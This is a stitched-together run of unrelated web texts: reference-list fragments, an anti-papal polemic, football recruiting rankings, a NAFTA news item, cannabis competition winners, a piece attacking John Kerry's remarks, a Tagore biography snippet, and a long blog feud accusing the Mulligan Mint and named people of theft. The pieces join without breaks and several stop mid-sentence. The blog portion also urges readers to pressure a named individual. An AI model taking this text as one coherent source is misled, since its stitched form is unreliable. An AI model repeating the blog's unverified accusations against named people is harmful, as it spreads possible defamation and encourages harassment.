Nat Biotechnol 2016 ; 34 : 904 – 8. Wechsler ME Kelley JM Boyd IO Dutile S Marigowda G Kirsch I Active albuterol or placebo, sham acupuncture, or no intervention in asthma. N Engl J Med 2011 ; 365 : 119 – 26. et al. Winkler AM Ridgway GR Webster MA Smith SM Nichols TE Permutation inference for the general linear model. Neuroimage 2014 ; 92 : 381 – 97. Yang CP Hsieh CL Wang NH Li TC Hwang KL Yu SC Acupuncture in patients with carpal tunnel syndrome: a randomized controlled trial. Clin J Pain 2009 ; 25 : 327 – 33. et al. Yang CP Wang NH Li TC Hsieh CL Chang HH Hwang KL A randomized clinical trial of acupuncture versus oral steroids for carpal tunnel syndrome: a long-term follow-up. J Pain 2011 ; 12 : 272 – 9. et al. Yao E Gerritz PK Henricson E Abresch T Kim J Han J Randomized controlled trial comparing acupuncture with placebo acupuncture for the treatment of carpal tunnel syndrome. PM R 2012 ; 4 : 367 – 73. et al. Zatorre RJ Fields RD Johansen-Berg H Plasticity in gray and white: neuroimaging changes in brain structure during learning. Nat Neurosci 2012 ; 15 : 528 – 36.
© The Author (2017). Published by Oxford University Press on behalf of the Guarantors of Brain. All rights reserved. For Permissions, please email: [email protected] it for this that I broke the habit of years and accepted the Guardian's invitation to listen to Thought for the Day? Was it for this that the BBC, including the director general himself, no less, spent months negotiating with the Vatican? What on earth were they negotiating about, if all that emerged was the damp, faltering squib we have just strained our ears to hear?
We've already had what little apology we are going to get (none in most cases) for the raped children, the Aids-sufferers in Africa, the centuries spent attacking Jews, science, women and "heretics", the indulgences and more modern (and tax-deductible) methods of fleecing the gullible to build the Vatican's vast fortune. So, no surprise that these weren't mentioned. But there's something else for which the pope should go to confession, and it's arguably the nastiest of all. I refer to the main doctrine of Christian theology itself, which was the centrepiece of what Ratzinger actually did say in his Thought for the Day.
"Christ destroyed death forever and restored life by means of his shameful death on the Cross."
More shameful than the death itself is the Christian theory that it was necessary. It was necessary because all humans are born in sin. Every tiny baby, too young to have a deed or a thought, is riddled with sin: original sin. Here's Thomas Aquinas:
"... the original sin of all men was in Adam indeed, as in its principal cause, according to the words of the Apostle (Romans 5:12): "In whom all have sinned": whereas it is in the bodily semen, as in its instrumental cause, since it is by the active power of the semen that original sin together with human nature is transmitted to the child."
Adam (who never existed) bequeathed his "sin" in his bodily semen (charming notion) to all of humanity. That sin, with which every newborn baby is hideously stained (another charming notion), was so terrible that it could be forgiven only through the blood sacrifice of a scapegoat. But no ordinary scapegoat would do. The sin of humanity was so great that the only adequate sacrificial victim was God himself.
That's right. The creator of the universe, sublime inventor of mathematics, of relativistic space-time, of quarks and quanta, of life itself, Almighty God, who reads our every thought and hears our every prayer, omniscient, omnipotent, omnipresent God couldn't think of a better way to forgive us than to have himself tortured and executed. For heaven's sake, if he wanted to forgive us, why didn't he just forgive us? Who, after all, needed to be impressed by the blood and the agony? Nobody but himself.
Ratzinger has much to confess in his own conduct, as cardinal and pope. But he is also guilty of promoting one of the most repugnant ideas ever to occur to a human mind: "Without the shedding of blood there is no forgiveness" (Hebrews 9:22).St. Thomas Aquinas defensive lineman Ed Alexander tops the Fantastic 40 rankings.
((Amos Morale, III))
Young football prospects are maturing at a faster rate than we have witnessed in the past. As kids turn to trainers at earlier ages, focus on the long-term picture in terms of what football could mean for their future, and put in the work needed to develop, this trend won't be stopping anytime soon.
The class of 2014 in Louisiana was much heralded with names like Leonard Fournette and Malachi Dupre sweeping the headlines, but could 2016 be even better?
In short: Yes, it could.
While 2014 was stellar at the skill positions, there weren't many top-level big bodies in the trenches. While Parkway quarterback Brandon Harris was a national recruit, there weren't any other quarterbacks drawing national attention. The 2016 class couldn't be any more different as the depth on the defensive line is rare and there are a plethora of quarterbacks who could play big-time football.
The list will change as more prospects emerge over time, but here is the first edition of the Fantastic 40 for 2016 (10-1). In what could be a banner year, there are plenty of prospects who could reach national-recruit status. In this group, most of these guys could make a push for the top spot as each are going to be national level recruits. For now, this is how they stand.
Fantastic 40 rankings: 40-31
Fantastic 40 rankings: 30-21
Fantastic 40 rankings: 20-11
10. Shyheim Carter, ATH, 5-11, 185, Kentwood
Carter is one of the most versatile prospects in this year's class. Most prospects who play a bunch of positions can do a little bit of everything, but aren't capable of doing anything that well, while Carter brings about some technique at multiple positions. He has tremendous speed, lateral quickness and will likely play at more than 200 pounds at the next level due to his thick build. Free safety may ultimately be his best position, but he is extremely dangerous as a running back, as well. If he can stay lean and not bulk up too much, he has the attributes needed to play cornerback. The offers are starting to trickle in for this future national recruit from the town that brought us years of great water and the one and only Britney Spears.
9. Mykel Jones, WR, 5-11, 180, Patterson
Players usually show a good bit of rust after surgery or rehab, but Jones was only a week removed from being cleared from shoulder surgery before stepping on the field in 7-on-7 action this spring and instantly picked up where he left off. He is a precise route runner who has a strong set of hands that allow him to work well in traffic. He is explosive in and out of his breaks and is about as consistent in his movements and routes as you will find for a younger prospect. The explosiveness needed to play on the outside at his size is there, but he also shows a natural feel working in the slot. Either way, he is one heck of a prospect.
8. Glen Logan, DT, 6-4, 290, Destrehan
Logan comes in at No. 8, but could easily move up later on if he further refines his game. As it stands now, he plays a little high at times and needs to add more disengagement moves, but he has the physical attributes needed to become a top-level defensive linemen prospect. Early on in games, he plays with good leverage and shows a high motor, but he has slowed in some games towards the end and became less effective down the stretch. He has shown noticeable improvement and could be moving up the list as he pulls it all together.
7. Devin White, RB/LB, 6-0, 235, North Webster
White has his way with the opposition because he is so physically dominant for his position. As a running back, he has home-run speed even at 230+ pounds, which is a rarity... unless you look in Louisiana where these guys seem to be growing off of trees lately. He has quick feet and good balance for his size, which could allow him to be a tremendous back at the next level. However, he is equally as impressive as a linebacker and that could ultimately be his calling. His versatility only adds to his value.
6. Shea Patterson, QB, 6-1, 185, Calvary Baptist
One of the more enjoyable experiences I have had this spring has been watching Patterson as a young gunslinger. His pinpoint accuracy is second to none and his quick delivery only makes it harder for defenders to make a play. His cool, calm demeanor allows him to execute at a high level during pressure-packed situations. The attribute of his game that is easy to overlook is his tremendous athleticism. Everything he does looks easy and it can be attributed to two things: his mechanics and athletic ability.
5. Rashard Lawrence, DT, 6-3, 300, Neville
While Ed Alexander is extremely dominant at this stage of his prep career, Lawrence isn't far off and plays a much tougher schedule than his peer. He has a great motor, is excellent in pursuit, has a quick first step and is very powerful. He does a good job working against double teams, which is very difficult for a lot of younger linemen. His quickness off the ball and great strength should allow him to get a nice push inside at the next level and allow him to be a three-down defensive linemen.
4. Willie Allen, OT, 6-6, 275, John Curtis
This kid could be scary-good down the road. He has outstanding length and the foot quickness needed to be an elite-level left tackle. While he may not get a lot of game-work in pass protection with John Curtis' system, the Patriots' coaching staff always does a great job in developing a player's all-around game. Allen has great knee-bend for a big guy and has a frame capable of adding significant weight over time.
3. Kristian Fulton, CB, 6-0, 170, Rummel
Fulton is considered by many to be the nation's best cornerback prospect for 2016 and you won't hear any complaints from me. In fact, he gets my endorsement. He is an elite-level athlete who is not only the nation's premier defensive back, but he is one of the nation's top hurdlers for his age group, to boot. The two-sport star has everything you want; speed, technique, fluidity, ball skills, the frame and attitude to be elite. He needs to continue to add mass to his thin frame and further improve on his tackling.
2. Stephen Sullivan, ATH, 6-6, 215, Donaldsonville
There aren't many prospects who look better physically than Sullivan. He is extremely long, lean and just looks like an athlete. Then when you watch him play, you quickly realize he could be special. He is committed to LSU as a receiver, but he could grow into the new flex-tight end as he packs on the pounds. Personally, I would love to see him bulk up and play defensive end because he does so at a high level and could be Jadeveon Clowney-like with his frame and athleticism. He could easily push for the No. 1 spot down the road due to the tremendous upside and unique makeup.
1. Ed Alexander, DT, 6-2, 305, St. Thomas Aquinas
Alexander has the physique and quickness of a college defensive tackle and he still has two years of high school football left. He is ridiculously strong and as he adds more tools to his repertoire he had become virtually unstoppable until a knee injury forced surgery from which he is currently healing. Assuming he resumes his usual disruptive ways, Alexander should hold his spot as one of the nation's premier defensive linemen. However, his top spot in these rankings will be threatened throughout as Nos. 2 through 4 on this list all have five-star talent with a ton of upside.
***********
James Smith previously worked as a talent evaluator for Elite Scouting and Max Emfinger and has served on the selection committees of various high school All-American games. He can be reached at [email protected] or 504.826.3405.
NOLA.com prep sports coverage on Facebook
Follow @JimmyDetail Tweet to @JimmyDetailWASHINGTON, May 18 (Reuters) - The Trump administration on Thursday formally launched its effort to renegotiate the North American Free Trade Agreement with Canada and Mexico to try to win better terms for U.S. workers and manufacturers.
With a letter to U.S. lawmakers, U.S. Trade Representative Robert Lighthizer said he triggered a 90-day consultation period with the U.S. Congress and American public that would allow NAFTA talks to begin after Aug 16.
Renegotiation of NAFTA was a key campaign promise of U.S. President Donald Trump, who frequently called the 23-year-old trade pact a "disaster" that has drained U.S. factories and well-paid manufacturing jobs to Mexico.
Lighthizer told reporters that NAFTA has been successful for U.S. agriculture, investment services and the energy sector, but not for manufacturing. He added that he hopes to complete negotiations by the end of 2017.
"As a starting point for negotiations, we should build on what has worked in NAFTA and change and improve what has not," Lighthizer said in a conference call with reporters. "If renegotiations results in a fairer deal for American workers there is value in making the transition to a modernized NAFTA as seamless as possible."
In his letter to congressional leaders, Lighthizer said that NAFTA needs modernization for digital trade, intellectual property rights, labor and environmental standards, rules for state-owned enterprises and food safety standards. (Reporting by David Lawder; Editing by Paul Simao)Everyone brought their best to the 2016 HIGH TIMES Medical Cannabis Cup! The competition was fierce across all of the categories represented, but ultimately the judges voted for these fine entries.
Special Thanks to our Premier Sponsors: Powered by Kush, Higher Vision, FlavRx,Atomik, Advanced Nutrients, Cali Connection, Downtown Patients Collective, Nameless,Mally Elite, Greenwolf and New Amsterdam Naturals.
Here’s the complete list of winners:
BEST TOPICAL
1st Place — Michigan Organic Rub powered by Loyalty Extracts by Herbal Solutions / Michigan Organic Rub
2nd Place — CBD Bear Balm by Honey Pot
3rd Place — Honey and Goat Milk CBD/THC Medicated Body Lotion by Baked Bees Honey with Gold Drop Co.
BEST VAPE PEN CARTRIDGES
1st Place:— Triple OG by Gold Drop with Blue River
2nd Place — Cali-O by 710 Kingpen and Greenwolf LA
3rd Place — Lemon OG by Los Angeles Kush / Flight Farms / Bubbleman Blue River
BEST MEDICALLY INFUSED PRODUCT
1st Place — Cookies & Cream Terp Slerpee by Exotic Genetix
2nd Place — Cookies N’ Cream Dry Sift Pre-Rolls by Wizard Wands
3rd Place — Atomik Diamond Special Edition by Atomik & Natures Labs
BEST NON-SOLVENT HASH
1st Place — Big Smooth Drysift Rosin Wax by Exotic Genetix
2nd Place — Banana Pie Extra Virgin Rosin by The Clear and DNA Genetics
3rd Place — Strawberry Banana Full Melt Hash by New Amsterdam and Professor Sift
BEST CBD FLOWER
1st Place — Cali Cure by Hermosa Seeds
BEST CBD CONCENTRATE
1st Place — Goji D.C. by MX710
2nd Place — Cannatonic Oil by Gold Drop with Blue River
3rd Place — Harle-Tsu CBD Sap by Charming Farming with CE Solutions
BEST CBD EDIBLE
1st Place — CBD Lemon Chocolate Bar by FlavRx
2nd Place — Vanilla Macaroons by Utopia Farms with Los Angeles Kush and CHR
3rd Place — Baked Bees Medicated Honey – Terpene Series Artisan Edition – with Gold Drop Co. by Baked Bees Honey with Gold Drop Co.
BEST EDIBLE
1st Place — Spiced Apple Cider by Ganja Grindz and The Clear
2nd Place — Tea Pot Sencha Green Tea by Honey Pot
3rd Place — Habit Sparkling Kiwi by Habit Sparkling Beverage
BEST SATIVA FLOWER
1st Place — Strawberry Lemonade by Cannabiotix
2nd Place — Dragon Haze by Zeki Farms
3rd Place — Blueberry Cheesecake by Roll with Bert / LAK / California Herbal Remedies
BEST HYBRID FLOWER
1st Place — Sunset Sherbet by Greenwolf LA and Jungleboys
2nd Place — Kosher Dawg by CannaStar with DNA and New Amsterdam Naturals
3rd Place — Mega Glue (Nameless Genetics) by Kind Center
BEST INDICA FLOWER
1st Place — Snoop Master Kush by Cannabiotix
2nd Place — Kush Company OG Kush by Kush Company
3rd Place — Sophisticated Lady by MassCannabis
BEST SATIVA CONCENTRATE
1st Place — Mega Queso by Nameless Genetics and Gold Coast
2nd Place — Green Dragon Budder Live Resin by Chilly’s Gardens
3rd Place — The Farm by Cali Kush Farms / Kind Center / Unregistered Extracts
BEST HYBRID CONCENTRATE
1st Place — Strawnana by Greenwolf LA / Moxie / Zeinstein Gardens
2nd Place — CO2 Clear Distillate by Zeki Farms
3rd Place — Strawberry Lemon Twist by CannaStar with DNA and Crockett Family Farms
BEST INDICA CONCENTRATE
1st Place — 727 OG by CannaStar with Moxie
2nd Place — Nameless OG Live Resin by Nameless Genetics and Gold Coast Extracts
3rd Place — Sour Diesel Nug Run Shatter by Rich Extracts
BEST BOOTH
1st Place: Los Angeles Kush / Trap of Diamondz / CHR
2nd Place: Dabstars
TIE – 3rd Place: FlavRx
TIE – 3rd Place: Gold Drop
BEST PRODUCT
1st Place: Trap Juice by Trap of Diamondz and Los Angeles Kush
2nd Place: 710 Life Enail by 420Life.com
3rd Place: King Moses Ocean Genetics
BEST VAPORIZER
1st Place: Kind Pen Dream
2nd Place: Paragon by Cloud Pen
3rd Place: Jupiter by L.A. Kush
BEST GLASS
1st Place: Los Angeles Kush / High Tech Glass / CHR
More 2016 Medical Cannabis Cup Coverage:
Winners of the 2016 Medical Cannabis Cup—A Live Cannabis Experience
A Live Cannabis Experience Day 1 Recap
WATCH: The 2016 Medical Cannabis Cup Activations
2016 Medical Cannabis Cup Entries Are In!
Press Your Own Rosin at the HIGH TIMES Medical Cannabis Cup This Weekend
Experience a Live Growroom at the 2016 Medical Cannabis Cup
WATCH: Experience Glassblowing Like Never Before
WATCH: Meet the Best Joint Rollers in the WorldSecretary of State John Kerry talks to the media in Paris, France, November 17, 2015. (Thierry Chesnot/Getty)
Ladies and gentleman, your Secretary of State, Mr. John Kerry:
In the last days, obviously, that has been particularly put to the test. There’s something different about what happened from Charlie Hebdo, and I think everybody would feel that. There was a sort of particularized focus and perhaps even a legitimacy in terms of – not a legitimacy, but a rationale that you could attach yourself to somehow and say, okay, they’re really angry because of this and that. This Friday was absolutely indiscriminate. It wasn’t to aggrieve one particular sense of wrong. It was to terrorize people. It was to attack everything that we do stand for. That’s not an exaggeration. It was to assault all sense of nationhood and nation-state and rule of law and decency, dignity, and just put fear into the community and say, “Here we are.” And for what? What’s the platform? What’s the grievance? That we’re not who they are? They kill people because of who they are and they kill people because of what they believe. And it’s indiscriminate.
Advertisement
Advertisement
When I first saw the key line here — “there was a sort of particularized focus and perhaps even a legitimacy in terms of – not a legitimacy, but a rationale” — I thought that Kerry had likely been misquoted. Alas, he had not. In fact, his words are even worse in context.
Advertisement
There really is no way of reading these comments other than as a craven ranking of outrages. Forget Kerry’s brief flirtation with the word “legitimacy” and assume that he said “rationale” from the start. That changes precisely nothing. The top diplomat in the United States just publicly argued that because the victims at Charlie Hebdo had spoken risqué words but the victims at the Bataclan had not, the violence against the former was more comprehensible than the violence against the latter. Has he lost his mind?
Even if Kerry’s assumptions were all correct, the moral problem here would be obvious. We hear a great deal about “blaming the victim” in our domestic debates, especially as it relates to sexual assault. Does this not apply to other realms? In essence, the American Secretary of State just announced before the world that he could grasp why the woman in the short skirt was raped but that he had been left scratching his head by the attack on the woman in the pantsuit and the overcoat. “Sure,” he said, “I get why they knocked off the hate speakers, but why would they go after progressive kids at a concert? Now things are really serious.”
In and of itself, this assessment is abhorrent. But he also screwed up the facts. Implicit in Kerry’s reasoning is the assumption that the perpetrators of the attacks against Charlie Hebdo had a clear purpose whereas the perpetrators of last week’s abomination did not. Or, as he put it, that in one case the killers were “really angry because of this and that,” but that in the other they were not. But this isn’t true. In fact, both set of attackers gave reasons. With Charlie Hebdo, the killers’ purported motive was revenge against ”blasphemous” expression; in Paris last week, it was disgust at Paris’s reputation for “obscenity.” In consequence, there are only two choices here: Option 1) That John Kerry believes that killing people for speaking rudely is more understandable than killing them for being secular; or Option 2) That John Kerry doesn’t actually know what the most recent attackers used as their justification (and also doesn’t remember that at the same time as the Charlie Hebdo assassinations, associated gunmen targeted a market simply because its owners were Jews).
Advertisement
Despicable.Image caption Tagore won the Nobel Prize for Literature in 1913
Celebrated Indian poet Rabindranath Tagore led a lonely life and suffered from frequent bouts of depression, according to a new biography.
Biographer Sabyasachi Bhattacharya says one of his worst spells of depression came in 1914, a year after he won the Nobel literature prize.
Tagore is often referred to as Bengal's Shakespeare. He died in 1941.
He wrote poems and stories, and composed both the Indian and Bangladeshi national anthems.
According to the biography, Tagore suffered from bouts of depression in 1914, a year after he became the first non-European to win the Nobel literature prize for his collection of poems entitled Gitanjali.
"In January 1915 Tagore again speaks of a 'breakdown', 'deep depression', but in February he claimed to have been healed in the solitude of the boat he inhabited on the banks of the Padma [river] in north Bengal," says Mr Bhattacharya in his book Rabindranath Tagore: An Interpretation.
'Without speaking'
The poet also struggled with loneliness from childhood, his biographer writes.
"I was very lonely - that was the chief feature of my childhood |
… no responses… then BS emailed excuses… and FI
NALLY I had to fly down to Dallas to see for my face that Rob had no intention of making things right when he told me to my face that I would get nothing that I was owed and I could not even find out what the customers were owed. So yeah Adam, something was obviously and blatantly wrong.
00:36 “claiming he lost a lot of money without documentation to back it up. I wanted to see the numbers…” I have never seen a clean Profit and Loss statement the entire time. Throughout the entire ordeal I was extremely patient as they were struggling to keep up with the tremendous demand I created but when I became suspicious something was nefarious going on I sought to mitigate the problem by shutting down sales in March and trying to make a clean break. Every time I asked to see a statement I was told that they were between book keepers and they were always days a way from getting it done. Never was their a real accountant allowed to see the books. My estimate of loss is from the former Sales Director on what he told me that I am still owed, and even he will will tell you that he has no idea what that really is since not even HE was allowed to see the books. Meanwhile Rob plays in Singapore and goes home to his Mansion on an airstrip…
00:42 “Pretending he did not make any money.” I never claimed not to make any money, just not what I was owed. I did get my only wire of $75,000 in March and that was just fraction of the money and silver that I was owed. I also waited for months for my own silver while others got fulfilled using my silver for a rolling inventory. I was able to finally get my metal back this spring. Like a good Marine leader, I always was patient and put myself at the end of the line in terms of fulfillment and payment. Never would I consider to lead others into a danger for a quick profit. Meanwhile my “partner” was running up hundreds of thousands in credit card bills traveling the world with his family and buying mansions. The thing that is very obvious to me, everyone is owed money except Rob.
00:52 “I checked the books, I have seen the paper work” Really because I never have. Perhaps you can send it to me or my lawyer or post something online? Where did you get your accounting degree from? Do you typically trust people that have been shown to lie especially when it is clear that they would profit off of it? Did you disclose your $4,000 a month sponsorship for the Mulligan Mint before you did this video? Was the trip to Dallas paid for buy Rob? Can you tell me how much I sold because I never saw the second set of books that showed the hundreds of thousands of sale to online retailers?
00:58 “For the little value you contributed” Laughably insane statement. Before Rob met me he was selling copper coins and water ionizers. I brought him publicity and business. I estimate that 90% of all of the business that went through that place was a direct result of my connection and reputation. The sales, the investors, the depositors, the other bloggers, the retailers… They went from 4 employees to 45 while I was there. There WAS NO MINT before me, just an empty warehouse with no presses. And despite whatever you think it was worth it was a 50/50 split in profits on my stuff and 30% of Coins For The Cause coins that include your sorry silver sales Adam.
01:03 ” You made out like bandit to the tune of $182,000″ I got one wire for $75,000 in March and NO 1099 for all of last year’s business with the Mulligan Mint. And that still does not get over the fact that my customers are still not fulfilled, I am out my 1,500 ounces and according to the former sales director an estimated $250,000 and that is before the Coins for the Cause profits.
01:07 “And now you are thinking you are going to start your own mint, on a lie.” The only lie in that statement is that I was planning to start my own mint. I never even considered starting a mint when there are clearly others that have been doing it much longer than I that will take better care of my designs and customers. In fact I am talking with 3 mints to produce future coins. The mint is the easily and most needed replacement of this whole drama.
01:22 “Never see a deal like this again” Geez I hope so, I would hate to be ROBbed from ever again like this. It is not all about money, I have walked away from my family’s inheritance for a greater purpose and would never sell my soul for money. I have better mints, with better quality, better prices, and better turn around times and a larger more reliable retail network to work with.
I will be adding more to this later, but it is just all BS… feel free to jump into the comment section and help wade through the lies.
Update 11: Desperation sets in at the Mulligan Mint.
With now three failed posted Silver Bullet Silver Shield launches and a withering retail support the Mulligan Mint seems intent on either continuing selling Slave Queens and Freedom Girls with or without the Silver Bullet Silver Shield. (Start watching 9:50) The best thing about this people will not being trusting Mulligan Mint or Adam Kokesh. Like I told Rob Gray, you only get one name in this world and I am confident despite all of this drama, my name is still very well intact.
The time, money, publicity, retailers, suppliers, customers, employees, investors, depositors, and legal action is slipping away from what once felt the abundance mentality. I believe that the we are weeks, if not days, of the final implosion of this drama.
I will caution everyone in dealing with the Mulligan Mint or any paid trolls the same warning the Republic of Lakotah warned about Rob Gray’s Free Lakota Bank… Caveat emptor!
Update 12: Coins For (Rob) The Cause Affiliate Webinar
There is an affiliate webinar tonight for another coin launch trying to recapture the magic of what they once had with the Silver Bullet Silver Shield.
Like a husband that in unfaithful with his wife by cheating on her with a mistress in Vegas, it will never be the same again.
The silver community is far to small to break trust so egregiously, at so many different levels to think things will ever go back as it was.
You ONLY get one name and those that are affiliated with the Mulligan Mint would be better off looking for something else than ruining their name trying to resuscitate this mortally wounded enterprise.
Update 13: Supposedly All Retail SBSS Orders Are Fulfilled…
That does not include the thousands of ounces that were sold behind my back to retailers or what is owed to me. This does NOT put an end to the drama by any means.
They still owe thousands of ounces to major retailers that have been waiting to fulfill their clients.
They are still over a month behind the promised date of April 8th deadline Rob Gray promised.
They still produce shoddy quality work that is an insult to the fine art Heide Wastweet sculpted and the message of the Silver Bullet Silver Shield.
Their customer service is atrocious and full of excuses/lies.
The risk of massive delays in the silver stacker community is unacceptable.
They still are using my brand, copyrights, designs, promotional format and trademark without my clear warning not to.
They are threatening to use my designs to unlawfully enrich others by taking Freedom Girl and Slave Queen and putting another back on it for Adam Cokesh.
They still owe me at least 1,500 physical ounces of silver to me.
They still have not handed over the SilverBulletSilverShield. com website to me, even though it was promised that it was “mine” by Rob Gray.
They still act like nothing has happened and not made any effort to correct the grave failures they alone have caused.
They still have not destroyed or turned over the dies of all of the Silver Bullet Silver Shield series that are my designs and copyrights.
They still threaten to add insult to injury by creating these designs to destroy the value of limited run SBSS medallions.
They still have not made me whole for all of the abundance I have created and earned.
They still use hired/invested guns to spit on me for the abundance I have created.
Update 14: If It Takes Months to Fulfill 300 Orders…
…how long will it take to fulfill 55 million? The Mulligan Mint is trying their 4th?, 5th?, 6th? failed launch in the aftermath of the end of their involvement of the Silver Bullet Silver Shield series. How many of these ill conceived coins are they going to try to push out without addressing the systemic failures they have?
The latest attempt is based off of the homo erotic, violent movie 300. The idea is that if 300 men can can stand against a invading army, then what could 55 million do?
“For the traitor appears not a traitor; he speaks in accents familiar to his victims, and he wears their face and their arguments, he appeals to the baseness that lies deep in the hearts of all men. He rots the soul of a nation, he works secretly and unknown in the night to undermine the pillars of the city, he infects the body politic so that it can no longer resist. A murderer is less to fear. The traitor is the plague.” -Marcus Tullius Cicero
The first flaw I see is that those 300 men were bound by honor and trust. They we powerful because they had implicit trust for their brothers to watch their back. The actions of Jack Spirko and the Mulligan Mint have shown that there is no honor in stealing someones designs, silver, ideas and names. Trust has been broken simply delivering silver, much less putting someones life on the line. I thank God that this happened now and I got to see the true nature of these actors before TSHTF.
My experience in the Marine Corp taught me to never break trust, even if it means taking the hardest blows for yourself. The reason why I am the last one holding the bag, is that I consistently put myself last to make sure others were taken care of. That is why the customers are getting fulfilled and I am out over $250,000, my silver, my dies, my website and the rest. The slanderous attacks from the likes of Jack Spirko and Adam Cokesh show that these men are more concerned with their own asses rather than doing what is right.
“100 Billion Dollars!” – Dr. Evil
The second flaw I see is, where are they getting 55 million from? Even in the sheeple world, Mitt Romney only got 58 million votes in the last Presidential election. Why stop at 55 million if we are just making up numbers? Why not 1 billion?!
I estimate that there are between 2-5 million one offs of the INTJ personality that would even consider that their world is flawed. The grand majority of them are either ignorant or invested in the current paradigm to even begin the process of awakening. And those that do take this journey, only a small percentage of those people make it to the Acceptance Stage, where they take positive productive action in their lives. And of those people that have made it that far they have no room in their lives for deceit or risk that is clearly at play here.
“Military men are just dumb, stupid animals to be used as pawns in foreign policy.” -Henry Kissinger
The third flaw I see is, why a Sentinel? Sentinels are guards of a collective. They are men that follow orders of rulers and not allowed to, even for a moment, think about what is best for themselves. My indoctrination in the Marine Corps infantry demanded ‘instant an willing obedience to orders’. This brain washing technique is used to trick well meaning men into sacrificing themselves for the Debt and Death their rulers profit from.
Leaderless resistance is about every man a leader, not a blind follower. I created the Sons of Liberty Academy for that very reason. Every person should have the knowledge and logic to do what is best for themselves and their loved ones. The resonating power of awakened and empowered individuals, stands in stark contrast to what is being portrayed in this ill conceived coin.
“Hurt people, hut people.” -Will Bowen
The fourth flaw is, the abusive psychopathic nature of these 300 warriors. So much of our media is designed to desensitize us to psychopathic behavior. At every turn, we are to think that it is acceptable, or worse cool, to act like a psychopath. In the movie 300, the Spartans physically and mentally abused their young boys to become unemphatic killers. This brings out the animal instincts that are the worst in humanity.
More military men are dying from suicide than in combat. Is it any wonder why hundreds of thousands of strong men are suffering with the abuse, violence and guilty consciousness that arises from this mindset? We have brain washed kids with violence for the power and profit of those that own this paradigm. The real trauma to humanity is felt on both sides of the destruction we deal on a daily basis.
“Let them march all they want, so long as they pay their taxes.” -Alexander Haig
The fifth flaw is that this is another collective effort against a collective problem. These guys cannot seem to help themselves to put themselves at the head of a collective they run, as they put all of the risk on to those that listen to their orders. This is not only obvious in these bloggers selling coins with a mint that is fraught with risk, but even Adam Cokesh planned armed march into Washington D.C. This plan is an obvious publicity attempt to further enrich Adam Cokesh, but even Alex Jones can’t even get behind it.
“Fool me once, shame on … shame on you. Fool me… You can’t get fooled again!” – George Bush
The final flaw is that they must think that we are either greedy or stupid. It is insane or insulting to think that they are ever going to find success ever again in this very small silver community without admitting and correcting the past. People supported the Silver Bullet and the Silver Shield because of the message. They no longer need to deal with the risk, awful customer service and shoddy quality of the mint. Especially because yours truly, who got this thing all started, is left empty handed.
The Silver Bullet Silver Shield is about empowering yourself and walk away from the toxic things in your life. The wheels of justice grind slowly, but the individual withdrawing support is final. I appreciate all of the hundreds of emails, comments and conversations of support and I am confident that I will be able to pick up right where I left off with better partners and momentum.
I understand that I only have one name and I have done everything in my power to protect it and others that have trusted me. If the Mulligan Mint, and those involved in this drama, have any shot at any success in the future, it would be in their best interest to make everyone whole and move on. I would have nothing to say anymore about this, if that was the case.
Interesting side note: The Mulligan Mint was named after Midas Mulligan from Atlas Shrugged. The irony is that before Midas shut down his bank, he made sure all people were made whole.
I am still waiting.
Update 15: The Mulligan Mint Has Gone Rogue
The Mulligan Mint has broken off all mediation talks and are planning on stealing my next 4 designs.
DO NOT PARTICIPATE IN THIS CRIME.
I will be releasing my first YouTube video and proceeding with my pending litigation now that all talks have ended.
Update 16: Honest Men and Thieves video released
Update 17: Desperate, Delusional, Idiots
It seems the latest actions from the Mulligan Mint are best described by the hundreds of emails I got over the past 24 hours as desperate, delusional, idiots. The insanity of Rob Gray claiming, “co-founder of Silver Bullet Silver Shield” reeks of desperation.
I wrote the Silver Bullet and the Silver Shield February 25th, 2011. The article was read by over 400,000+ people and translated into 7 different languages. It was the reason I got to meet David Morgan and it was hailed by Jason Hommel as “The BEST article written on silver in Ten Years!”
I then went on to create 6 1/2 hours in 45+ videos on YouTube starting January 24th 2012. The Silver Bullet Silver Shield videos were seen by over 1.8 million people world wide. All of this while Rob Gray was probably selling water Ionizers or copper coins at carnivals.
It is my success that Rob sought to leverage to his own personal fortune. My brand, my ideas, my designs, my contacts, and my reputation. That is why he contacted me to write his opening statement for Ron Paul August 2012. He has no ideas of his own and only seeks to ensnare others into his trap.
I am the ONLY Copyright Owner and that is on tens of thousands Certificate of Authenticity they sent out.
I am the designer of all of all of the Silver Bullet Silver Shield medallions.
I am the creator of the Silver Bullet Silver Shield articles, videos, DVDs, and silver medallions.
Rob can ignore reality, but like Ayn Rand said, “You cannot ignore the consequences of ignoring reality.”
I once asked Rob Gray what he wanted to be when he got older. He told me that he wanted to “be a billionaire.” I thought that was weird asked him why? His response was, “because I am smarter than everyone else.” This is the first time that I really started to ask myself what have I gotten myself into.
This claim of Rob Gray “co-founding” Silver Bullet Silver Shield is almost as insane as another delusional psychopath, Al Gore, when he claimed to invent the Internet.
While Rob is a psychopath that does what comes naturally to him, the person I am MOST disappointed is Will Lehr aka. Silver Willy. He was one of the first Silver Shield Group members and I have been nothing but supportive of Will. I even helped him get this job at the Mulligan Mint. I have given him ample opportunity to make things right and that he was only staying around until he got the customers fulfilled and me paid. Now that both of those are dead issues, he is now complicit is stealing my designs and brand and deceiving the public into thinking that Silver Bullet Silver Shield back to the way it was.
Will Lehr is empowering something he knows to be very wrong and perhaps a few emails or phone calls will convince him to man up and walk away. Will Lehr <[email protected]> I don’t think a lot of people will trusting Will anyway since he is now know as Slick Willy.
Here is a Children’s Cancer Charity Auction video I did with Will when he was at another place he hated.
http://youtu.be/uFe8DBdNkrw
Update 18: Are You A Sellout?
“And what do you benefit if you gain the whole world but lose your own soul?” -Matthew 16:26
It must be crunch time at the Mulligan Mint since they are going to jump the gun and launch MY Freedom Girl and Slave Queen today, a full 4 days in advance of their previous launch date. They have stolen my designs and perhaps today they will see that they have sold the only thing that is truly worth anything, their reputation. I had the biggest bloggers wait for months for their affiliate commissions as the tried to fix the books. Do not be tempted to try and make a quick buck you will probably never see, promoting thieves.
Again, anyone promoting or supporting the Mulligan Mint in this criminal effort, should be shunned from this community.
Update 19: Mulligan Mint Implosion Contest
In the middle of all of this drama I thought it might be fun to have a contest where I can give away all of the silver Rob gave me when I met him in Washington D.C. for Ron Paul’s Congressional Testimony last summer.
All entries will be posted in the comment section by the first to answer to the questions below.
1. Whoever guesses the day the Mulligan Mint closes for good, will receive my 5 oz Lakota Proof round numbered “300” on the side. This round was used by Rob Gray in his congressional testimony and was held by Ron Paul himself.
2. Whoever guesses when the day that Free Lakota Bank closes for good, will receive 4 1 oz. Proof Lakota rounds.
